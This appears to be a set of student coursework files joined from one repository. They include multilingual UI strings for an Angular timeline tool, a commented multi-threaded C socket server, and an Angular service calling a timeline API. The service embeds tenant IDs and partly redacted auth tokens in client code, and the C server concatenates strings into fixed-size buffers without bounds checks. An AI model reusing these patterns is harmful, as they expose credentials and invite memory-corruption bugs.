leftPaneDeleteBtn: "Eliminar", leftPaneTableTitle: "Título", leftPaneTableDate: "Fecha", leftPaneTableEvents: "Eventos", leftPaneSearch: "Buscar", rightPaneAdd: "agregar primer evento", rightPaneSearch: "Eventos de búsqueda", rightPaneTree: "Árbol", rightPaneDate: "Fecha", rightPaneMap: "Mapa", eventItemDownloadBtn: "Descargar", eventItemUploadBtn: "Subir", eventItemEditBtn: "Editar", eventItemDeleteBtn: "Eliminar", eventItemFileName: "Nombre", eventItemFileType: "Tipo", eventItemNoFilesMsg: "Haz clic en cargar para subir archivos a este evento", eventItemAddChildMsg: "agregar evento hijo", eventItemEditEventMsg: "editar evento", eventItemDeleteEventMsg: "eliminar evento", eventItemUploadFileMsg: "cargar archivos adjuntos", feedBackCreatingEvent: "Crear evento", feedBackEventCreated: "Evento creado", feedBackTlLinkFail: "No se pudo vincular el evento a la línea de tiempo", feedBackEventsLinkFail: "Error al vincular evento a evento", feedBackCreateEventFail: "No se pudo crear el evento", feedBackFileNameChanged: "Título del archivo cambiado a", feedBackFileNameChangedErr: "Hubo un error al editar el título del archivo", feedBackDeletingFiles: "Borrando archivos", feedBackFilesDeleted: "Archivos eliminados", feedBackDeletingEvents: "Eliminando eventos", feedBackEventsDeleted: "Evento eliminado", feedBackDeleteEventErr: "No se pueden eliminar eventos", feedBackDeleteFilesErr: "Hubo un error al eliminar archivos", feedBackDeleteTimelineErr: "Hubo un error al eliminar la línea de tiempo", feedBackDeletedTimeline: "Líneas de tiempo eliminadas", feedBackDeletingTimeline: "Borrando línea de tiempo", feedBackAddTimelineErr: "Hubo un error al agregar la línea de tiempo para", feedBackEditTimelineErr: "Hubo un error al editar el título de la línea de tiempo", feedBackEditedTimeline: "El título de la línea de tiempo cambió a", feedBackEditingTimeline: "Editando el título de la línea de tiempo a", feedBackAddingTimeline: "Agregar línea de tiempo para", feedBackTimelineAdded: "Cronología agregada para", feedBackTimelinesLoaded: "Cargas cronológicas cargadas", feedBackTimelinesGetFailed: "No se pueden obtener líneas de tiempo", feedBackEditingEvent: "Edición de evento", feedBackEditedEvent: "Evento editado", feedBackEditEventErr: "No se puede editar el evento", confirmConfirm: "Confirmar", confirmCancel: "Cancelar", confirmDeleteEvent: "¿Seguro que quieres eliminar este evento?", confirmDeleteFiles: "¿Estás seguro de que deseas eliminar los archivos seleccionados?", confirmDeleteTimeline: "¿Seguro que quieres eliminar las líneas de tiempo seleccionadas?", textInEditingFile: "Editar archivo", textInAddTimeline: "Crear línea de tiempo", textInEditTimeline: "Editar línea de tiempo:", dialogDownTitle: "Descarga de archivos adjuntos", dialogDownCompIn: "Descargas completadas en", dialogDownSec: "segundos", dialogDownAreSure: "¿Estás seguro de que deseas cerrar? Algunos archivos aún pueden estarse descargando", dialogUpTitle: "Carga de archivos adjuntos para", dialogUpCompIn: "Cargas completadas en", dialogUpSec: "segundos", dialogUpAreSure: "¿Estás seguro de que deseas cerrar? Algunos archivos aún se pueden cargar", dialogUpDownYes: "Sí", dialogUpDownNo: "No", dialogUpDownClose: "Cerrar", eventDialogTitleNew: "Crear evento", eventDialogTitleEdit: "Editar evento", eventDialogTitle: "Título", eventDialogSeverity: "Gravedad", eventDialogSeverityL: "Bajo", eventDialogSeverityM: "Medio", eventDialogSeverityH: "Alto", eventDialogTags: "Etiquetas", eventDialogDescription: "Descripción", eventDialogNext: "Siguiente", eventDialogBack: "Atrás", eventDialogLocation: "Ubicación", eventDialogDate: "Fecha / Hora", eventDialogCreate: "Crear", eventDialogUpdate: "Actualización", eventDialogLongitude: "Longitud", eventDialogLatitude: "Latitud", treePartMoving: "Evento en movimiento", treePartMoved: "Evento movido", treePartMoveFail: "No se pudo mover el evento", treePartMoveNot: "El evento no se movió", identityResetAppQ: "¿Seguro que quieres restablecer la aplicación?", identityAppReset: "reinicio de la aplicación", eventMovePt1: "Haga clic en un evento resaltado para agregar", eventMovePt2: "como un niño", eventItemMoveTip: "Move event", textInOk: "Ok", textInCancel: "Cancelar", eventDialogDescError: "los eventos deben tener una descripción", eventDialogDisableLoc: "Deshabilitar ubicación", eventLatReq: "latitud de -85 a 85", eventLonReq: "longitud de -180 a 180", eventLatErr: "Debe estar entre -85 y 85", eventLonErr: "Debe estar entre -180 y 180", eventDialogMustBeAfter: "debe estar después", eventDialogMustBeBefore: "debe estar antes", confirmOnlyEvent: "Only this event", confirmAllEvent: "Evento y todos los niños", attachFail: "Hubo un problema al recuperar un archivo", rightPaneBeforeDate: "Antes de la fecha", rightPaneAfterDate: "Después de la fecha", rightPaneAddEvent: "Agregar evento", rightPaneTagSearch: "Etiquetas de búsqueda", } german = { selectTimeline: "Wählen Sie eine Zeitleiste", identityBarTitle: "Zeitachsen-Event-Tool", identityLangSelect: "Sprachauswahl", identityChangeTheme: "Betreff ändern", identityToggleRegister: "toggle timeline record", identityIndigoPink: "Indigo Pink", identityPurpleGreen: "Lila Grün", identityPurpleAmber: "<NAME>", identityPinkGrey: "Pink Blau-Grau", identityFullScreen: "Alternativer Vollbildschirm", leftPaneAddBtn: "Hinzufügen", leftPaneEditBtn: "Bearbeiten", leftPaneDeleteBtn: "Löschen", leftPaneTableTitle: "Titel", leftPaneTableDate: "Datum", leftPaneTableEvents: "Ereignisse", leftPaneSearch: "Suchen", rightPaneAdd: "erstes Ereignis hinzufügen", rightPaneSearch: "Ereignisse suchen", rightPaneTree: "Baum", rightPaneDate: "Datum", rightPaneMap: "Karte", eventItemDownloadBtn: "Herunterladen", eventItemUploadBtn: "Hochladen", eventItemEditBtn: "Bearbeiten", eventItemDeleteBtn: "Löschen", eventItemFileName: "Name", eventItemFileType: "Typ", eventItemNoFilesMsg: "Klicken Sie auf Hochladen, um Dateien zu diesem Ereignis hochzuladen", eventItemAddChildMsg: "untergeordnetes Ereignis hinzufügen", eventItemEditEventMsg: "Ereignis bearbeiten", eventItemDeleteEventMsg: "Ereignis löschen", eventItemUploadFileMsg: "Anhänge hochladen", feedBackCreatingEvent: "Ereignis erstellen", feedBackEventCreated: "Ereignis erstellt", feedBackTlLinkFail: "Das Ereignis konnte nicht mit der Zeitleiste verknüpft werden", feedBackEventsLinkFail: "Ereignis konnte nicht mit Ereignis verknüpft werden", feedBackCreateEventFail: "Das Ereignis konnte nicht erstellt werden", feedBackFileNameChanged: "Titel der Datei geändert in", feedBackFileNameChangedErr: "Beim Bearbeiten des Dateititels ist ein Fehler aufgetreten", feedBackDeletingFiles: "Dateien löschen", feedBackFilesDeleted: "Gelöschte Dateien", feedBackDeletingEvents: "Ereignisse löschen", feedBackEventsDeleted: "Ereignis gelöscht", feedBackDeleteEventErr: "Ereignisse konnten nicht gelöscht werden", feedBackDeleteFilesErr: "Beim Löschen der Dateien ist ein Fehler aufgetreten", feedBackDeleteTimelineErr: "Beim Löschen der Zeitleiste ist ein Fehler aufgetreten", feedBackDeletedTimeline: "Deleted Timelines", feedBackDeletingTimeline: "Zeitleiste löschen", feedBackAddTimelineErr: "Beim Hinzufügen der Zeitachse ist ein Fehler aufgetreten", feedBackEditTimelineErr: "Beim Bearbeiten des Titels der Zeitleiste ist ein Fehler aufgetreten", feedBackEditedTimeline: "Der Titel der Timeline wurde geändert in", feedBackEditingTimeline: "Bearbeiten des Titels der Zeitleiste auf", feedBackAddingTimeline: "Zeitachse hinzufügen für", feedBackTimelineAdded: "Timeline hinzugefügt für", feedBackTimelinesLoaded: "Geladene chronologische Lasten", feedBackTimelinesGetFailed: "Zeitleisten können nicht abgerufen werden", feedBackEditingEvent: "Ereignisbearbeitung", feedBackEditedEvent: "Ereignis bearbeitet", feedBackEditEventErr: "Das Ereignis kann nicht bearbeitet werden", confirmConfirm: "Bestätigen", confirmCancel: "Abbrechen", confirmDeleteEvent: "Möchten Sie dieses Ereignis wirklich löschen?", confirmDeleteFiles: "Möchten Sie die ausgewählten Dateien wirklich löschen?", confirmDeleteTimeline: "Sind Sie sicher, dass Sie die ausgewählten Zeitleisten löschen möchten?", textInEditingFile: "Datei bearbeiten", textInAddTimeline: "Zeitleiste erstellen", textInEditTimeline: "Timeline bearbeiten:", dialogDownTitle: "Anhänge herunterladen", dialogDownCompIn: "Downloads abgeschlossen in", dialogDownSec: "Sekunden", dialogDownAreSure: "Sind Sie sicher, dass Sie schließen möchten? Einige Dateien werden möglicherweise noch heruntergeladen", dialogUpTitle: "Anhänge hochladen für", dialogUpCompIn: "Lasten abgeschlossen in", dialogUpSec: "Sekunden", dialogUpAreSure: "Sind Sie sicher, dass Sie schließen möchten? Einige Dateien können noch hochgeladen werden", dialogUpDownYes: "Ja", dialogUpDownNo: "Nein", dialogUpDownClose: "Schließen", eventDialogTitleNew: "Ereignis erstellen", eventDialogTitleEdit: "Ereignis bearbeiten", eventDialogTitle: "Titel", eventDialogSeverity: "Schwerkraft", eventDialogSeverityL: "Niedrig", eventDialogSeverityM: "Mittel", eventDialogSeverityH: "Hoch", eventDialogTags: "Tags", eventDialogDescription: "Beschreibung", eventDialogNext: "Weiter", eventDialogBack: "Zurück", eventDialogLocation: "Ort", eventDialogDate: "Datum / Uhrzeit", eventDialogCreate: "Erstellen", eventDialogUpdate: "Aktualisieren", eventDialogLongitude: "Länge", eventDialogLatitude: "Breite", treePartMoving: "Ereignis in Bewegung", treePartMoved: "Event verschoben", treePartMoveFail: "Das Ereignis konnte nicht verschoben werden", treePartMoveNot: "Das Ereignis wurde nicht verschoben", identityResetAppQ: "Sind Sie sicher, dass Sie die Anwendung zurücksetzen möchten?", identityAppReset: "Neustart der Anwendung", eventMovePt1: "Klicken Sie auf ein hervorgehobenes Ereignis zum Hinzufügen", eventMovePt2: "als Kind", eventItemMoveTip: "Ereignis verschieben", textInOk: "Ok", textInCancel: "Abbrechen", eventDialogDescError: "Ereignisse müssen eine Beschreibung haben", eventDialogDisableLoc: "Ort deaktivieren", eventLatReq: "Breite von -85 bis 85", eventLonReq: "Länge von -180 bis 180", eventLatErr: "Muss zwischen -85 und 85 liegen", eventLonErr: "Es sollte zwischen -180 und 180 sein", eventDialogMustBeAfter: "muss nachher sein", eventDialogMustBeBefore: "muss vorher sein", confirmOnlyEvent: "Nur dieses Ereignis", confirmAllEvent: "Ereignis und alle Kinder", attachFail: "Beim Wiederherstellen einer Datei ist ein Problem aufgetreten", rightPaneBeforeDate: "Vor dem Datum", rightPaneAfterDate: "Nach Datum", rightPaneAddEvent: "Ereignis hinzufügen", rightPaneTagSearch: "Tags durchsuchen", } french = { selectTimeline: "Sélectionnez une chronologie", identityBarTitle: "Outil d'événement de scénario", identityLangSelect: "sélection de la langue", identityChangeTheme: "changer de sujet", identityToggleRegister: "bascule l'enregistrement de chronologie", identityIndigoPink: "Indigo Pink", identityPurpleGreen: "Purple Green", identityPurpleAmber: "Purple Amber", identityPinkGrey: "Rose Bleu-Gris", identityFullScreen: "Alterner en plein écran", leftPaneAddBtn: "Ajouter", leftPaneEditBtn: "Modifier", leftPaneDeleteBtn: "Supprimer", leftPaneTableTitle: "Titre", leftPaneTableDate: "Date", leftPaneTableEvents: "Evénements", leftPaneSearch: "Recherche", rightPaneAdd: "ajouter le premier événement", rightPaneSearch: "Rechercher des événements", rightPaneTree: "Arbre", rightPaneDate: "Date", rightPaneMap: "Carte", eventItemDownloadBtn: "Télécharger", eventItemUploadBtn: "Upload", eventItemEditBtn: "Modifier", eventItemDeleteBtn: "Supprimer", eventItemFileName: "Nom", eventItemFileType: "Type", eventItemNoFilesMsg: "Cliquez sur télécharger pour télécharger des fichiers sur cet événement", eventItemAddChildMsg: "Ajouter un événement enfant", eventItemEditEventMsg: "éditer l'événement", eventItemDeleteEventMsg: "delete event", eventItemUploadFileMsg: "télécharger les pièces jointes", feedBackCreatingEvent: "Créer un événement", feedBackEventCreated: "Evénement créé", feedBackTlLinkFail: "L'événement n'a pas pu être lié à la timeline", feedBackEventsLinkFail: "Impossible de lier l'événement à l'événement", feedBackCreateEventFail: "L'événement n'a pas pu être créé", feedBackFileNameChanged: "Le titre du fichier a été modifié en", feedBackFileNameChangedErr: "Une erreur s'est produite lors de la modification du titre du fichier", feedBackDeletingFiles: "Suppression de fichiers", feedBackFilesDeleted: "Fichiers supprimés", feedBackDeletingEvents: "Suppression d'événements", feedBackEventsDeleted: "Événement supprimé", feedBackDeleteEventErr: "Impossible de supprimer les événements", feedBackDeleteFilesErr: "Une erreur s'est produite lors de la suppression des fichiers", feedBackDeleteTimelineErr: "Une erreur s'est produite lors de la suppression de la chronologie", feedBackDeletedTimeline: "Chronologies supprimées", feedBackDeletingTimeline: "Suppression de la chronologie", feedBackAddTimelineErr: "Une erreur s'est produite lors de l'ajout de la timeline", feedBackEditTimelineErr: "Une erreur s'est produite lors de la modification du titre de la timeline", feedBackEditedTimeline: "Le titre de la timeline a été remplacé par", feedBackEditingTimeline: "Modification du titre de la timeline", feedBackAddingTimeline: "Ajouter un calendrier", feedBackTimelineAdded: "Timeline added for", feedBackTimelinesLoaded: "Charges chronologiques chargées", feedBackTimelinesGetFailed: "Impossible d'obtenir les lignes de temps", feedBackEditingEvent: "Modification d'événement", feedBackEditedEvent: "Evénement modifié", feedBackEditEventErr: "L'événement ne peut pas être modifié", confirmationConfirmer: "Confirmer", confirmAnnuler: "Annuler", confirmDeleteEvent: "Êtes-vous sûr de vouloir supprimer cet événement?", confirmDeleteFiles: "Êtes-vous certain de vouloir supprimer les fichiers sélectionnés?", confirmDeleteTimeline: "Êtes-vous sûr de vouloir supprimer les montages sélectionnés?", textInEditingFile: "Modifier le fichier", textInAddTimeline: "Créer une chronologie", textInEditTimeline: "Modifier le scénario:", dialogDownTitle: "Télécharger les pièces jointes", dialogDownCompIn: "Téléchargements terminés en", dialogDownSec: "secondes", dialogDownAreSure: "Êtes-vous certain de vouloir fermer certains fichiers?", dialogUpTitle: "Télécharger les pièces jointes pour", dialogUpCompIn: "Charges terminées dans", dialogUpSec: "secondes", dialogUpAreSure: "Êtes-vous sûr de vouloir fermer certains fichiers?", dialogUpDownYes: "Oui", dialogUpDownNo: "Non", dialogUpDownClose: "Fermer", eventDialogTitleNew: "Créer un événement", eventDialogTitleEdit: "Modifier l'événement", eventDialogTitle: "Titre", eventDialogSeverity: "Gravité", eventDialogSeverityL: "Low", eventDialogSeverityM: "Moyen", eventDialogSeverityH: "Élevé", eventDialogTags: "Tags", eventDialogDescription: "Description", eventDialogNext: "Suivant", eventDialogBack: "Retour", eventDialogLocation: "Emplacement", eventDialogDate: "Date / Heure", eventDialogCreate: "Créer", eventDialogUpdate: "Mettre à jour", eventDialogLongitude: "Longueur", eventDialogLatitude: "Latitude", treePartMoving: "Événement en mouvement", treePartMoved: "Evénement déplacé", treePartMoveFail: "L'événement n'a pas pu être déplacé", treePartMoveNot: "L'événement n'a pas bougé", identityResetAppQ: "Êtes-vous sûr de vouloir réinitialiser l'application?", identityAppReset: "redémarrage de l'application", eventMovePt1: "Cliquez sur un événement en surbrillance pour l'ajouter", eventMovePt2: "en tant qu'enfant", eventItemMoveTip: "Déplacer l'événement", textInOk: "Ok", textInCancel: "Annuler", eventDialogDescError: "les événements doivent avoir une description", eventDialogDisableLoc: "Désactiver l'emplacement", eventLatReq: "latitude de -85 à 85", eventLonReq: "longueur de -180 à 180", eventLatErr: "Doit être compris entre -85 et 85", eventLonErr: "Il devrait être entre -180 et 180", eventDialogMustBeAfter: "doit être après", eventDialogMustBeBefore: "doit être avant", confirmOnlyEvent: "Seulement cet événement", confirmAllEvent: "Evénement et tous les enfants", attachFail: "Un problème est survenu lors de la récupération d'un fichier", rightPaneBeforeDate: "Avant la date", rightPaneAfterDate: "Après la date", rightPaneAddEvent: "Ajouter un événement", rightPaneTagSearch: "Rechercher des balises", } constructor() { this.activeLanguage = this.english; } setLanguage(newLanguage){ switch(newLanguage) { case 'En': this.activeLanguage = this.english break; case 'Es': this.activeLanguage = this.spanish break; case 'De': this.activeLanguage = this.german break; case 'Fr': this.activeLanguage = this.french break; } } } <file_sep>/SystemsProgrammingFinalAssessment/server-comments.c // Cwk2: server.c - multi-threaded server using readn() and writen() //Includes #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <pthread.h> #include <net/if.h> #include <sys/ioctl.h> #include <time.h> #include <sys/utsname.h> #include <dirent.h> #include <sys/stat.h> #include <signal.h> #include "rdwrn.h" // thread function void *client_handler(void *); //structure for employee list to be printed on client exit typedef struct { //variable declarations int id_number; int age; float salary; } employee; //structure for uname to be sent to client typedef struct { //variable declarations char *nodename; char *sysname; char *release; char *version; char *machine; } utsname; //Function prototypes void get_and_send_employee(int, employee *); void get_and_send_uname(int, utsname *); void send_hello(int); //Global variable to hold server launch time struct timeval start; //Get option number from client char get_option(int socket) { //Declare variables to store option and size char option; size_t n; //Read size of option from client readn(socket, (unsigned char *) &n, sizeof(size_t)); //Read option from client readn(socket, (unsigned char *) &option, n); //Return option to client handler menu return option; } //Print time server has been active in seconds void printruntime(struct timeval tv) { //Declare int to store time elapsed int runtime; //Deduce runtime by subtracting server launch time from function call time runtime = tv.tv_sec - start.tv_sec; //Print runtime printf("Elapsed server time: %d seconds.\n", runtime); } //Signal handler to exit gracefully static void handler(int sig, siginfo_t *siginfo, void *context) { //Alert user SIGINT was recieved printf("SIGINT Recieved...\n"); //Struct to host current time struct timeval tv; //Check time of day can be found if(gettimeofday(&tv, NULL) == -1) { //Print error and exit with failure printf("Get time error\n"); exit(EXIT_FAILURE); } //Print time server has been active printruntime(tv); //Close server gracefully exit(EXIT_SUCCESS); } //Listener for SIGINT void signals() { //Declare and allocate space for sigaction struct struct sigaction act; memset(&act, '\0', sizeof(act)); //Set pointer to handler function act.sa_sigaction = &handler; act.sa_flags = SA_SIGINFO; //Check exit status of sigaction if (sigaction(SIGINT, &act, NULL) == -1) { //Print errors and exit program on failure perror("sigaction"); exit(EXIT_FAILURE); } } //Send ip address and student ID to client void send_id(int connfd) { //Char array holding student ID char stu_id[] = " Student ID: S1712082"; //Char pointer to store server ip char *ip; //Char array holding ethernet port char iface[] = "eth0"; //struct to pull ip from struct ifreq ifr; //Set sa_family field of ifr to address family inet ifr.ifr_addr.sa_family = AF_INET; //Set ifr_name field to eth0 through iface variable strncpy(ifr.ifr_name, iface, IFNAMSIZ-1); //invoke ioctl to retrieve ip ioctl(connfd, SIOCGIFADDR, &ifr); //Concatenate ip from sin_addr field and student id then store in ip pointer ip = strcat(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), stu_id); //Set size of string to be sent size_t n = strlen(ip) + 1; //Send size of string to client writen(connfd, (unsigned char *) &n, sizeof(size_t)); //Send string to client writen(connfd, (unsigned char *) ip, n); } //Send current server time to client void send_time(int connfd) { //Declare variable to check time time_t t; //Char pointer to return to client char *str; //Check time is retrievable if ((t = time(NULL)) == -1) { //If not, print errors and exit program perror("time error"); exit(EXIT_FAILURE); } //Generate time structure struct tm *tm; //Check localtime assignment is successful if ((tm = localtime(&t)) == NULL) { //If not, print errors and exit program perror("localtime error"); exit(EXIT_FAILURE); } //Assign time stamp to char pointer str str = asctime(tm); //Set size of string size_t n = strlen(str) + 1; //Send size of string to client writen(connfd, (unsigned char *) &n, sizeof(size_t)); //Send string to client writen(connfd, (unsigned char *) str, n); } //Send filenames in upload directory to client void send_filenames(int connfd) { //Structure for file names struct dirent **namelist; //Char to store list of filenames char files[256]; //int used in for loop int i; //int used to store exit status of scandir int n; //Initialise files as empty string strcpy(files, ""); //Invoke scandir and store exit status in n n = scandir("upload", &namelist, NULL, alphasort); if (n < 0) { //Print error on failure perror("scandir"); } else { //Otherwise, iterate through list of files for(i = 0; i < n; i++) { //Concatenate current file name to files char array strcat(files, namelist[i]->d_name); //Concatenate seperator to files char array strcat(files, "*"); //Deallocate memory for current file free(namelist[i]); } //Deallocate memory for namelist struct free(namelist); } //Remove empty space from files char array files[strcspn(files, "\n")] = 0; //Set size of files size_t k = strlen(files); //Send size of files to client writen(connfd, (unsigned char *) &k, sizeof(size_t)); //Send files char array to client writen(connfd, (unsigned char *) files, k); } // you shouldn't need to change main() in the server except the port number int main(void) { int listenfd = 0, connfd = 0; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; socklen_t socksize = sizeof(struct sockaddr_in); listenfd = socket(AF_INET, SOCK_STREAM, 0); memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(50031); bind(listenfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (listen(listenfd, 10) == -1) { perror("Failed to listen"); exit(EXIT_FAILURE); } // end socket setup //Check exit status for time of server launch if(gettimeofday(&start, NULL) == -1) { //Print errors and exit on failure printf("Get time error\n"); exit(EXIT_FAILURE); } //Signal handling signals(); //Accept and incoming connection puts("Waiting for incoming connections..."); while (1) { printf("Waiting for a client to connect...\n"); connfd = accept(listenfd, (struct sockaddr *) &client_addr, &socksize); printf("Connection accepted...\n"); pthread_t sniffer_thread; // third parameter is a pointer to the thread function, fourth is its actual parameter if (pthread_create (&sniffer_thread, NULL, client_handler, (void *) &connfd) < 0) { perror("could not create thread"); exit(EXIT_FAILURE); } //Now join the thread , so that we dont terminate before the thread //pthread_join( sniffer_thread , NULL); printf("Handler assigned\n"); } // never reached... // ** should include a signal handler to clean up exit(EXIT_SUCCESS); } // end main() // thread function - one instance of each for each connected client // this is where the do-while loop will go void *client_handler(void *socket_desc) { //Get the socket descriptor int connfd = *(int *) socket_desc; //Declare char for option to be recieved from client char option; //Declare utsname struct uts utsname *uts; //Set memory for uts uts = (utsname *) malloc(sizeof(utsname)); //Welcome client to server send_hello(connfd); //Do while loop to recieve options from client do { //Set option to be called option = get_option(connfd); //Series of outcomes from options switch (option) { case '0': //Ignore option as it only re-prints menu on client side break; case '1': //Send ip and student id to client send_id(connfd); printf("Option one.\n"); break; case '2': //Send current server time to client send_time(connfd); printf("Option two.\n"); break; case '3': //Get uname structure, fill with server uname data //And return to client get_and_send_uname(connfd, uts); printf("Option three.\n"); break; case '4': //Send files in upload directory to client send_filenames(connfd); printf("Option four.\n"); break; case '5': printf("Goodbye!\n"); break; default: //Print invalid choice error for anything other than //Previous cases printf("Invalid choice - 0 displays options...!\n"); break; } } while (option != '5'); //Deallocate uts from memory free(uts); employee *employee1; employee1 = (employee *) malloc(sizeof(employee)); int i; for (i = 0; i < 5; i++) { printf("(Counter: %d)\n", i); get_and_send_employee(connfd, employee1); printf("\n"); } free(employee1); shutdown(connfd, SHUT_RDWR); close(connfd); printf("Thread %lu exiting\n", (unsigned long) pthread_self()); // always clean up sockets gracefully shutdown(connfd, SHUT_RDWR); close(connfd); return 0; } // end client_handler() // how to send a string void send_hello(int socket) { //Declare and initialise welcome message as char array char hello_string[] = "hello SP student"; //Set size of welcome message size_t n = strlen(hello_string) + 1; //Send size of welcome message to client writen(socket, (unsigned char *) &n, sizeof(size_t)); //Send welcome message to client writen(socket, (unsigned char *) hello_string, n); } // end send_hello() //Recieve uname struct from client, fill with server uname data //And return to client void get_and_send_uname(int socket, utsname *uts) { //Declare utsname struct named uts1 struct utsname uts1; //Declare size variable named len size_t len; //Declare size variable named n and initialise with result of size reading //from client in bytes size_t n = readn(socket, (unsigned char *) &len, sizeof(size_t)); //Print size of recieved struct in bits and bytes printf("Payload length: %zu (%zu bytes)\n", len, n); //REassign n as size of recieved uts struct n = readn(socket, (unsigned char *) uts, len); //Check uname success if (uname(&uts1) == -1) { //Print errors and exit program on failure perror("uname error"); exit(EXIT_FAILURE); } //Send size of altered uts struct to client writen(socket, (unsigned char *) &len, sizeof(size_t)); //Send uts struct to client writen(socket, (unsigned char *) &uts1, len); } // as before... void get_and_send_employee(int socket, employee * e) { size_t payload_length; size_t n = readn(socket, (unsigned char *) &payload_length, sizeof(size_t)); printf("payload_length is: %zu (%zu bytes)\n", payload_length, n); n = readn(socket, (unsigned char *) e, payload_length); printf("Age is %d\n", e->age); printf("id is %d\n", e->id_number); printf("Salary is %6.2f\n", e->salary); printf("(%zu bytes)\n", n); // make arbitrary changes to the struct & then send it back e->age++; e->salary += 1.0; writen(socket, (unsigned char *) &payload_length, sizeof(size_t)); writen(socket, (unsigned char *) e, payload_length); } // end get_and_send_employee() <file_sep>/IntegratedProject/src/app/service/timeline/timeline.service.ts import { Injectable } from '@angular/core'; import { HttpClient, HttpHeaders } from '@angular/common/http'; import { Observable } from 'rxjs/Rx'; @Injectable() export class TimelineService { private baseUrl = 'https://gcu.ideagen-development.com/Timeline/'; constructor(private http: HttpClient) { } guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } getTimelines() :Observable<any[]> { const cmd = 'GetTimelines'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '727162e<KEY>'}) }; return this.http.get<any[]>(this.baseUrl+cmd, httpOptions); } getAllTimelinesEvents() :Observable<any[]> { const cmd = 'GetAllTimelinesAndEvent'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>'}) }; return this.http.get<any[]>(this.baseUrl+cmd, httpOptions); } getTimeline(id: string) :Observable<any>{ const cmd = 'GetTimeline'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>', 'TimelineId': id }) }; return this.http.get(this.baseUrl+cmd, httpOptions); } getEvents(id: string) :Observable<any>{ const cmd = 'GetEvents'; const httpOptions = { headers: new HttpHeaders({'TenantId': 'Team15', 'AuthToken': '<KEY>', 'TimelineId': id }) }; return this.http.get(this.baseUrl+cmd, httpOptions); } createTimeline(t: string) :Observable<any>{ const cmd = 'Create'; const bod = { TenantId : "Team15", AuthToken : "<KEY>", Title : t, TimelineId : this.guid() } return this.http.put(this.baseUrl+cmd, bod); } deleteTimeline(id: string) :Observable<any>{ const cmd = 'Delete'; const bod = {'TenantId': 'Team15', 'AuthToken': '<KEY>', 'TimelineId': id }; return this.http.put(this.baseUrl+cmd, bod); } editTitle(id: string, t: string) :Observable<any>{ const cmd = 'EditTitle'; const bod = {'TenantId': 'Team15', 'AuthToken': '<KEY>', 'TimelineId': id, 'Title': t }; return this.http.put(this.baseUrl+cmd, bod); } linkEvent(id: string, eid: string) :Observable<any>{ const cmd = 'LinkEvent'; const bod = {'TenantId': 'Team15', 'AuthToken': '7<PASSWORD>', 'TimelineId': id, 'EventId': eid }; return this.http.put(this.baseUrl+cmd, bod); } unlinkEvent(id: string, eid: string) :Observable<any>{ const cmd = 'UnlinkEvent'; const bod = {'TenantId': 'Team15', 'AuthToken': '<KEY>', 'TimelineId': id, 'EventId': eid }; return this.http.put(this.baseUrl+cmd, bod); } } <file_sep>/CloudPlatformDevelopmentCoursework2/SampleTables/SampleTables/Models/SampleEntity.cs // Entity class for Azure table using Microsoft.WindowsAzure.Storage.Table; using System; namespace SampleTables.Models { public class SampleEntity : TableEntity { public string Title { get; set; } public string Artist { get; set; } public DateTime CreatedDate { get; set; } public string Mp3Blob { get; set; } public string SampleMp3Blob { get; set; } public string SampleMp3Url { get; set; } public Nullable <DateTime> SampleDate { get; set; } public SampleEntity(string partitionKey, string productID) { PartitionKey = partitionKey; RowKey = productID; } public SampleEntity() { } } } <file_sep>/IntegratedProject/src/app/component/dialog-create-event/dialog-create-event.component.ts import { Component, OnInit, Inject, ViewChild } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service'; import { MatDialog, MatDialogRef, MatDatepicker, MAT_DIALOG_DATA, MatChipInputEvent } from '@angular/material'; import { FormControl } from '@angular/forms'; import { ENTER, COMMA } from '@angular/cdk/keycodes'; import { LangService } from '../../service/lang/lang.service' @Component({ selector: 'app-dialog-create-event', templateUrl: './dialog-create-event.component.html', styleUrls: ['./dialog-create-event.component.scss'] }) export class DialogCreateEventComponent implements OnInit { @ViewChild('datePicker') datePicker: MatDatepicker<string>; firstFormGroup: FormGroup; thirdFormGroup: FormGroup; fourthFormGroup: FormGroup; public timelineId = null; public existingValues = null; public parentId; public beforeTimeLimit = null; public afterTimeLimit = null; public minDate; public maxDate; public startViewLat: number = 0; public startViewLng: number = 0; public startViewZoom: number = 2; public lat = null; public lng = null; public locationDisabled = false; public existingDateTime = null; public existingHours = null; public dateTimestamp: number = 0; public timeTimestamp: number = 0; public timeString = '00:00'; public mapStyles = []; public tags = []; createOrUpdate: string; constructor( private _formBuilder: FormBuilder, public thisDialogRef: MatDialogRef<DialogCreateEventComponent>, public DataTransferService:DataTransferService, public LangService: LangService, @Inject(MAT_DIALOG_DATA) public data ) { } disableLocationChange(e){ this.lat = null this.lng = null; if(e.checked){ this.thirdFormGroup.setValue({ latitudeCtrl: 'null', longitudeCtrl: 'null' }); }else{ this.thirdFormGroup.setValue({ latitudeCtrl: '', longitudeCtrl: '' }); } } ngOnInit() { this.timelineId = this.data.timelineId; this.existingValues = this.data.existingValues; if(this.existingValues == null) { this.existingValues = {}; this.existingValues.Title = ''; this.existingValues.Description = ''; this.existingValues.Severity = 'Low'; this.existingValues.Tags = ''; this.existingValues.LocationLat = ''; this.existingValues.LocationLng = ''; this.existingValues.EventDateTime = ''; }else{ this.existingDateTime = new Date(this.existingValues.EventDateTime); this.existingHours = ('0'+this.existingDateTime.getHours()).slice(-2)+':'+ ('0'+this.existingDateTime.getMinutes()).slice(-2) this.timeString = this.existingHours; var splitMinsHours = this.existingHours.split(':'); this.timeTimestamp = splitMinsHours[0] * 3600000 + splitMinsHours[1] * 60000; this.dateTimestamp = this.existingDateTime.getTime()-this.timeTimestamp; this.tags 